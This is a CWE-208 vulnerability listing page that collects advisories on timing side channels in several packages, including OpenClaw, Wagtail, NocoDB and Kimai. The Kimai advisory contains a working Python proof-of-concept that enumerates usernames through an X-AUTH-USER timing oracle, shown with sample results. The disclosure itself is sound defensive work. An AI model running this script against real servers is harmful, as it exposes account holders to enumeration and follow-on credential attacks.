Common Weakness Enumeration

CWE-208

Allowed

Observable Timing Discrepancy

Abstraction: Base · Status: Incomplete

Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.

306 vulnerabilities reference this CWE, most recent first.

GHSA-J7H9-2JH7-G967

Vulnerability from github – Published: 2026-05-07 21:45 – Updated: 2026-05-07 21:45
VLAI
Summary
mcp-ssh-tool has file transfer path policy bypass and bearer token comparison hardening
Details

Summary

mcp-ssh-tool has released version 2.1.1 with security hardening for transfer path authorization and HTTP bearer authentication.

The release addresses:

  • insufficient local path policy enforcement in transfer-related filesystem handling
  • incomplete canonicalization and segment-boundary handling for deny-prefix path policy checks
  • non-constant-time HTTP bearer token comparison

Impact

Affected versions may allow policy bypass in transfer path handling under specific configurations, and may expose a timing side channel in bearer-token comparison for HTTP deployments.

Patched Version

Upgrade to mcp-ssh-tool >= 2.1.1.

npm install -g mcp-ssh-tool@latest

Workarounds

For deployments that cannot immediately upgrade:

  • avoid exposing HTTP transport beyond loopback
  • use strict filesystem policy configuration
  • avoid granting MCP clients access to sensitive local transfer paths
  • monitor audit logs for unexpected transfer operations

Credits

Reported by dodge1218.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "mcp-ssh-tool"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-208",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T21:45:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`mcp-ssh-tool` has released version `2.1.1` with security hardening for transfer path authorization and HTTP bearer authentication.\n\nThe release addresses:\n\n- insufficient local path policy enforcement in transfer-related filesystem handling\n- incomplete canonicalization and segment-boundary handling for deny-prefix path policy checks\n- non-constant-time HTTP bearer token comparison\n\n## Impact\n\nAffected versions may allow policy bypass in transfer path handling under specific configurations, and may expose a timing side channel in bearer-token comparison for HTTP deployments.\n\n## Patched Version\n\nUpgrade to `mcp-ssh-tool \u003e= 2.1.1`.\n\n```bash\nnpm install -g mcp-ssh-tool@latest\n```\n\n## Workarounds\n\nFor deployments that cannot immediately upgrade:\n\n- avoid exposing HTTP transport beyond loopback\n- use strict filesystem policy configuration\n- avoid granting MCP clients access to sensitive local transfer paths\n- monitor audit logs for unexpected transfer operations\n\n## Credits\n\nReported by `dodge1218`.",
  "id": "GHSA-j7h9-2jh7-g967",
  "modified": "2026-05-07T21:45:17Z",
  "published": "2026-05-07T21:45:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oaslananka/mcp-ssh-tool/security/advisories/GHSA-j7h9-2jh7-g967"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oaslananka/mcp-ssh-tool"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "mcp-ssh-tool has file transfer path policy bypass and bearer token comparison hardening"
}

GHSA-J8CM-G7R6-HFPQ

Vulnerability from github – Published: 2024-07-17 18:30 – Updated: 2024-11-18 16:26
VLAI
Summary
vodozemac's usage of non-constant time base64 decoder could lead to leakage of secret key material
Details

Versions before 0.7.0 of vodozemac use a non-constant time base64 implementation for importing key material for Megolm group sessions and PkDecryption Ed25519 secret keys. This flaw might allow an attacker to infer some information about the secret key material through a side-channel attack.

Impact

The use of a non-constant time base64 implementation might allow an attacker to observe timing variations in the encoding and decoding operations of the secret key material. This could potentially provide insights into the underlying secret key material.

The impact of this vulnerability is considered low because exploiting the attacker is required to have access to high precision timing measurements, as well as repeated access to the base64 encoding or decoding processes. Additionally, the estimated leakage amount is bounded and low according to the referenced paper.

Patches

The patch is in commit 734b6c6948d4b2bdee3dd8b4efa591d93a61d272.

Workarounds

None.

References

A detailed description of the precise attack can be found at https://arxiv.org/abs/2108.04600. We kindly thank Soatok for pointing out this research to us.

For more information

If you have any questions or comments about this advisory please email us at security at matrix.org.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "vodozemac"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-40640"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-17T18:30:55Z",
    "nvd_published_at": "2024-07-17T18:15:04Z",
    "severity": "MODERATE"
  },
  "details": "Versions before 0.7.0 of vodozemac use a non-constant time base64 implementation for importing key material for Megolm group sessions and `PkDecryption` Ed25519 secret keys. This flaw might allow an attacker to infer some information about the secret key material through a side-channel attack.\n\n### Impact\n\nThe use of a non-constant time base64 implementation might allow an attacker to observe timing variations in the encoding and decoding operations of the secret key material. This could potentially provide insights into the underlying secret key material.\n\nThe impact of this vulnerability is considered low because exploiting the attacker is required to have access to high precision timing measurements, as well as repeated access to the base64 encoding or decoding processes.  Additionally, the estimated leakage amount is bounded and low according to the referenced paper.\n\n### Patches\n\nThe patch is in commit 734b6c6948d4b2bdee3dd8b4efa591d93a61d272.\n\n### Workarounds\nNone.\n\n### References\nA detailed description of the precise attack can be found at https://arxiv.org/abs/2108.04600. We kindly thank Soatok for pointing out this research to us.\n\n### For more information\nIf you have any questions or comments about this advisory please email us at [security at matrix.org](mailto:security@matrix.org).\n",
  "id": "GHSA-j8cm-g7r6-hfpq",
  "modified": "2024-11-18T16:26:53Z",
  "published": "2024-07-17T18:30:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/vodozemac/security/advisories/GHSA-j8cm-g7r6-hfpq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40640"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/vodozemac/commit/734b6c6948d4b2bdee3dd8b4efa591d93a61d272"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/vodozemac/commit/77765dace11266ef9523301624a01265c6e0f790"
    },
    {
      "type": "WEB",
      "url": "https://arxiv.org/abs/2108.04600"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/matrix-org/vodozemac"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2024-0354.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "vodozemac\u0027s usage of non-constant time base64 decoder could lead to leakage of secret key material"
}

GHSA-JJ6Q-RRRF-H66H

Vulnerability from github – Published: 2026-04-07 18:16 – Updated: 2026-05-06 02:40
VLAI
Summary
OpenClaw: Shared-secret comparison call sites leaked length information through timing
Details

Summary

Before OpenClaw 2026.4.2, several shared-secret comparison call sites still used early length-mismatch checks instead of the shared fixed-length comparison helper. Those paths could leak secret-length information through measurable timing differences.

Impact

The affected paths exposed a low-severity timing side channel on secret comparison. The issue did not by itself demonstrate auth bypass, but it weakened the intended constant-time handling for shared secrets.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected versions: <= 2026.4.1
  • Patched versions: >= 2026.4.2
  • Latest published npm version: 2026.4.1

Fix Commit(s)

  • be10ecef770a4654519869c3641bbb91087c8c7b — reuse the shared secret comparison helper at affected call sites

Release Process Note

The fix is present on main and is staged for OpenClaw 2026.4.2. Publish this advisory after the 2026.4.2 npm release is live.

Thanks @kexinoh of Tencent zhuque Lab (https://github.com/Tencent/AI-Infra-Guard) for reporting.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.4.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41407"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T18:16:03Z",
    "nvd_published_at": "2026-04-28T19:37:44Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nBefore OpenClaw 2026.4.2, several shared-secret comparison call sites still used early length-mismatch checks instead of the shared fixed-length comparison helper. Those paths could leak secret-length information through measurable timing differences.\n\n## Impact\n\nThe affected paths exposed a low-severity timing side channel on secret comparison. The issue did not by itself demonstrate auth bypass, but it weakened the intended constant-time handling for shared secrets.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.4.1`\n- Patched versions: `\u003e= 2026.4.2`\n- Latest published npm version: `2026.4.1`\n\n## Fix Commit(s)\n\n- `be10ecef770a4654519869c3641bbb91087c8c7b` \u2014 reuse the shared secret comparison helper at affected call sites\n\n## Release Process Note\n\nThe fix is present on `main` and is staged for OpenClaw `2026.4.2`. Publish this advisory after the `2026.4.2` npm release is live.\n\nThanks @kexinoh of Tencent zhuque Lab (https://github.com/Tencent/AI-Infra-Guard) for reporting.",
  "id": "GHSA-jj6q-rrrf-h66h",
  "modified": "2026-05-06T02:40:50Z",
  "published": "2026-04-07T18:16:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jj6q-rrrf-h66h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41407"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/be10ecef770a4654519869c3641bbb91087c8c7b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-timing-side-channel-in-shared-secret-comparison"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Shared-secret comparison call sites leaked length information through timing"
}

GHSA-JJJR-3JCW-F8V6

Vulnerability from github – Published: 2020-05-07 18:04 – Updated: 2026-06-09 12:58
VLAI
Summary
Potential Observable Timing Discrepancy in Wagtail
Details

Impact

A potential timing attack exists on pages or documents that have been protected with a shared password through Wagtail's "Privacy" controls. This password check is performed through a character-by-character string comparison, and so an attacker who is able to measure the time taken by this check to a high degree of accuracy could potentially use timing differences to gain knowledge of the password. (This is understood to be feasible on a local network, but not on the public internet.)

Privacy settings that restrict access to pages / documents on a per-user or per-group basis (as opposed to a shared password) are unaffected by this vulnerability.

Patches

Patched versions have been released as Wagtail 2.7.3 (for the LTS 2.7 branch), Wagtail 2.8.2 and Wagtail 2.9.

Workarounds

Site owners who are unable to upgrade to the new versions can use user- or group-based privacy restrictions to restrict access to sensitive information; these are unaffected by this vulnerability.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wagtail"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wagtail"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8rc1"
            },
            {
              "fixed": "2.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wagtail"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9rc1"
            },
            {
              "fixed": "2.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.9rc1"
      ]
    }
  ],
  "aliases": [
    "CVE-2020-11037"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208",
      "CWE-362"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-05-07T18:04:33Z",
    "nvd_published_at": "2020-04-30T23:15:11Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nA potential timing attack exists on pages or documents that have been protected with a shared password through Wagtail\u0027s \"Privacy\" controls. This password check is performed through a character-by-character string comparison, and so an attacker who is able to measure the time taken by this check to a high degree of accuracy could potentially use timing differences to gain knowledge of the password. (This is [understood to be feasible on a local network, but not on the public internet](https://groups.google.com/d/msg/django-developers/iAaq0pvHXuA/fpUuwjK3i2wJ).)\n\nPrivacy settings that restrict access to pages / documents on a per-user or per-group basis (as opposed to a shared password) are unaffected by this vulnerability.\n\n### Patches\nPatched versions have been released as Wagtail 2.7.3 (for the LTS 2.7 branch), Wagtail 2.8.2 and Wagtail 2.9.\n\n### Workarounds\nSite owners who are unable to upgrade to the new versions can use [user- or group-based privacy restrictions](https://docs.wagtail.io/en/stable/advanced_topics/privacy.html) to restrict access to sensitive information; these are unaffected by this vulnerability.",
  "id": "GHSA-jjjr-3jcw-f8v6",
  "modified": "2026-06-09T12:58:54Z",
  "published": "2020-05-07T18:04:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wagtail/wagtail/security/advisories/GHSA-jjjr-3jcw-f8v6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11037"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wagtail/wagtail/commit/3c030490ed575bb9cd01dfb3a890477dcaeb2edf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wagtail/wagtail/commit/b76ab57ee859732b9cf9287d380493ab24061090"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wagtail/wagtail/commit/ba9d424bd1ca5ce1910d3de74f5cc07214fbfb11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wagtail/wagtail/commit/bac3cd0a26b023e595cf2959aae7da15bb5e4340"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/wagtail/PYSEC-2020-153.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wagtail/wagtail"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Potential Observable Timing Discrepancy in Wagtail"
}

GHSA-JMJ6-P2J9-68CP

Vulnerability from github – Published: 2023-01-13 06:30 – Updated: 2023-01-25 21:37
VLAI
Summary
Wildfly-elytron possibly vulnerable to timing attacks via use of unsafe comparator
Details

wildfly-elytron: possible timing attacks via use of unsafe comparator. A flaw was found in Wildfly-elytron. Wildfly-elytron uses java.util.Arrays.equals in several places, which is unsafe and vulnerable to timing attacks. To compare values securely, use java.security.MessageDigest.isEqual instead. This flaw allows an attacker to access secure information or impersonate an authed user.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.wildfly.security:wildfly-elytron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.15.15.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.wildfly.security:wildfly-elytron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.16.0.CR1"
            },
            {
              "fixed": "1.20.3.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-3143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203",
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-13T21:32:28Z",
    "nvd_published_at": "2023-01-13T06:15:00Z",
    "severity": "HIGH"
  },
  "details": "wildfly-elytron: possible timing attacks via use of unsafe comparator. A flaw was found in Wildfly-elytron. Wildfly-elytron uses `java.util.Arrays.equals` in several places, which is unsafe and vulnerable to timing attacks. To compare values securely, use `java.security.MessageDigest.isEqual` instead. This flaw allows an attacker to access secure information or impersonate an authed user.",
  "id": "GHSA-jmj6-p2j9-68cp",
  "modified": "2023-01-25T21:37:25Z",
  "published": "2023-01-13T06:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3143"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2022-3143"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2124682"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wildfly-security/wildfly-elytron"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Wildfly-elytron possibly vulnerable to timing attacks via use of unsafe comparator"
}

GHSA-JMM5-FVH5-GF4P

Vulnerability from github – Published: 2026-03-02 22:43 – Updated: 2026-03-06 01:05
VLAI
Summary
OpenClaw has non-constant-time token comparison in hooks authentication
Details

Summary

OpenClaw hooks previously compared the provided hook token using a regular string comparison. Because this comparison is not constant-time, an attacker with network access to the hooks endpoint could potentially use timing measurements across many requests to gradually infer the token.

In practice, this typically requires hooks to be exposed to an untrusted network and a large number of requests; real-world latency and jitter can make reliable measurement difficult.

Affected Packages / Versions

  • openclaw (npm): < 2026.2.12

Patched Versions

  • openclaw (npm): >= 2026.2.12

Mitigations

  • Upgrade to openclaw >= 2026.2.12.
  • If users cannot upgrade immediately: restrict network access to the hooks endpoint and rotate the hooks token after updating.

Fix Commit(s)

  • 113ebfd6a23c4beb8a575d48f7482593254506ec

OpenClaw thanks @akhmittra for reporting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28464"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T22:43:34Z",
    "nvd_published_at": "2026-03-05T22:16:19Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOpenClaw hooks previously compared the provided hook token using a regular string comparison. Because this comparison is not constant-time, an attacker with network access to the hooks endpoint could potentially use timing measurements across many requests to gradually infer the token.\n\nIn practice, this typically requires hooks to be exposed to an untrusted network and a large number of requests; real-world latency and jitter can make reliable measurement difficult.\n\n## Affected Packages / Versions\n\n- openclaw (npm): \u003c 2026.2.12\n\n## Patched Versions\n\n- openclaw (npm): \u003e= 2026.2.12\n\n## Mitigations\n\n- Upgrade to openclaw \u003e= 2026.2.12.\n- If users cannot upgrade immediately: restrict network access to the hooks endpoint and rotate the hooks token after updating.\n\n## Fix Commit(s)\n\n- 113ebfd6a23c4beb8a575d48f7482593254506ec\n\nOpenClaw thanks @akhmittra for reporting.",
  "id": "GHSA-jmm5-fvh5-gf4p",
  "modified": "2026-03-06T01:05:22Z",
  "published": "2026-03-02T22:43:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jmm5-fvh5-gf4p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28464"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/113ebfd6a23c4beb8a575d48f7482593254506ec"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-timing-attack-in-hooks-token-authentication"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw has non-constant-time token comparison in hooks authentication"
}

GHSA-JR54-JWHJ-55GP

Vulnerability from github – Published: 2026-06-05 16:03 – Updated: 2026-06-05 16:03
VLAI
Summary
NocoDB: User Enumeration via Sign-In Timing
Details

Summary

Sign-in response timing differed between known and unknown email addresses because the unknown-user branch returned without performing a password hash comparison.

Details

The unknown-user branch in auth.service.ts now performs a bcrypt.compare against a fixed dummy hash so the response time of failed sign-ins is approximately independent of whether the address exists. Rate limiting on the sign-in endpoint is implemented in the Enterprise build only and is not affected by this advisory.

Impact

A network-positioned attacker could enumerate registered email addresses by timing sign-in responses. Exploitation requires only the ability to send unauthenticated sign-in requests.

Credit

This issue was reported by @AndyAnh174.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nocodb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.04.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208",
      "CWE-307"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-05T16:03:55Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\nSign-in response timing differed between known and unknown email addresses because\nthe unknown-user branch returned without performing a password hash comparison.\n\n### Details\nThe unknown-user branch in `auth.service.ts` now performs a `bcrypt.compare` against\na fixed dummy hash so the response time of failed sign-ins is approximately\nindependent of whether the address exists. Rate limiting on the sign-in endpoint is\nimplemented in the Enterprise build only and is not affected by this advisory.\n\n### Impact\nA network-positioned attacker could enumerate registered email addresses by timing\nsign-in responses. Exploitation requires only the ability to send unauthenticated\nsign-in requests.\n\n### Credit\nThis issue was reported by [@AndyAnh174](https://github.com/AndyAnh174).",
  "id": "GHSA-jr54-jwhj-55gp",
  "modified": "2026-06-05T16:03:55Z",
  "published": "2026-06-05T16:03:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocodb/nocodb/security/advisories/GHSA-jr54-jwhj-55gp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocodb/nocodb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocodb/nocodb/releases/tag/2026.04.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "NocoDB: User Enumeration via Sign-In Timing"
}

GHSA-JRC6-FMHW-FPQ2

Vulnerability from github – Published: 2026-04-17 22:30 – Updated: 2026-04-17 22:30
VLAI
Summary
Kimai: Username enumeration via timing on X-AUTH-USER
Details

Details

src/API/Authentication/TokenAuthenticator.php calls loadUserByIdentifier() first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases ({"message":"Invalid credentials"}, HTTP 403), so the leak is purely timing.

The /api/* firewall has no login_throttling configured, so the probe is unbounded.

The legacy X-AUTH-USER / X-AUTH-TOKEN headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.

Proof of concept

#!/usr/bin/env python3
"""Kimai username enumeration via X-AUTH-USER timing oracle."""

import argparse
import ssl
import statistics
import sys
import time
import urllib.error
import urllib.request

PROBE_PATH = "/api/users/me"
BASELINE_USER = "baseline_no_such_user_zzz"
DUMMY_TOKEN = "x" * 32


def probe(url, user, ctx):
    req = urllib.request.Request(
        url + PROBE_PATH,
        headers={"X-AUTH-USER": user, "X-AUTH-TOKEN": DUMMY_TOKEN},
    )
    t0 = time.perf_counter()
    try:
        urllib.request.urlopen(req, context=ctx, timeout=10).read()
    except urllib.error.HTTPError as e:
        e.read()
    return (time.perf_counter() - t0) * 1000.0


def median_ms(url, user, samples, ctx):
    return statistics.median(probe(url, user, ctx) for _ in range(samples))


def load_candidates(path):
    with open(path) as f:
        return [ln.strip() for ln in f if ln.strip() and not ln.startswith("#")]


def main():
    ap = argparse.ArgumentParser(description=__doc__.strip())
    ap.add_argument("-u", "--url", required=True,
                    help="base URL, e.g. https://kimai.example")
    ap.add_argument("-l", "--list", required=True, metavar="FILE",
                    help="one candidate username per line")
    ap.add_argument("-t", "--threshold", type=float, default=15.0, metavar="MS",
                    help="median delta over baseline that flags a real user")
    ap.add_argument("-n", "--samples", type=int, default=15)
    ap.add_argument("--verify-tls", action="store_true")
    args = ap.parse_args()

    url = args.url.rstrip("/")
    ctx = None if args.verify_tls else ssl._create_unverified_context()
    candidates = load_candidates(args.list)

    baseline = median_ms(url, BASELINE_USER, args.samples, ctx)
    print(f"baseline: {baseline:.1f} ms", file=sys.stderr)

    width = max(len(u) for u in candidates)
    print(f"{'username':<{width}}  {'median':>8}  {'delta':>8}  verdict")
    print("-" * (width + 30))
    for user in candidates:
        m = median_ms(url, user, args.samples, ctx)
        delta = m - baseline
        verdict = "REAL" if delta > args.threshold else "-"
        print(f"{user:<{width}}  {m:>6.1f}ms  {delta:>+6.1f}ms  {verdict}")


if __name__ == "__main__":
    main()

Usage:

$ ./timing_oracle.py -u https://target -l users.txt -n 15
[*] calibrating baseline with 15 samples
[*] baseline median: 37.7 ms
[*] probing 13 candidates (n=15, threshold=15.0 ms)

username                        median     delta  verdict
----------------------------------------------------------
user1@example.com               64.2ms   +26.5ms  REAL
user2@example.com               72.4ms   +34.7ms  REAL
user3@example.com               70.0ms   +32.3ms  REAL
tester.nonexistent@example.com  37.2ms    -0.5ms  -
admin                           63.6ms   +25.9ms  REAL
administrator                   38.2ms    +0.4ms  -
root                            37.3ms    -0.4ms  -
test                            33.6ms    -4.1ms  -
demo                            38.2ms    +0.5ms  -
kimai                           37.0ms    -0.7ms  -
nonexistent_user_aaa            38.1ms    +0.4ms  -
nonexistent_user_bbb            37.5ms    -0.2ms  -
nonexistent_user_ccc            38.4ms    +0.7ms  -

In this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.

Fix

In TokenAuthenticator::authenticate(), run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:

private const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0';

try {
    $user = $this->userProvider->loadUserByIdentifier($credentials['username']);
} catch (UserNotFoundException $e) {
    $this->passwordHasherFactory
        ->getPasswordHasher(User::class)
        ->verify(self::DUMMY_HASH, $credentials['password']);
    throw $e;
}

The dummy hash must use the same algorithm and parameters as real user hashes so that verify() consumes equivalent CPU. Generate it once with password_hash('dummy', PASSWORD_ARGON2ID) and pin it as a constant.

Relevance

The practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026, so the issue only affects a legacy mechanism that is already being phased out. 

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.53.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.54.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T22:30:59Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Details\n\n`src/API/Authentication/TokenAuthenticator.php` calls `loadUserByIdentifier()` first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases (`{\"message\":\"Invalid credentials\"}`, HTTP 403), so the leak is purely timing.\n\nThe `/api/*` firewall has no `login_throttling` configured, so the probe is unbounded.\n\nThe legacy `X-AUTH-USER` / `X-AUTH-TOKEN` headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"Kimai username enumeration via X-AUTH-USER timing oracle.\"\"\"\n\nimport argparse\nimport ssl\nimport statistics\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\nPROBE_PATH = \"/api/users/me\"\nBASELINE_USER = \"baseline_no_such_user_zzz\"\nDUMMY_TOKEN = \"x\" * 32\n\n\ndef probe(url, user, ctx):\n    req = urllib.request.Request(\n        url + PROBE_PATH,\n        headers={\"X-AUTH-USER\": user, \"X-AUTH-TOKEN\": DUMMY_TOKEN},\n    )\n    t0 = time.perf_counter()\n    try:\n        urllib.request.urlopen(req, context=ctx, timeout=10).read()\n    except urllib.error.HTTPError as 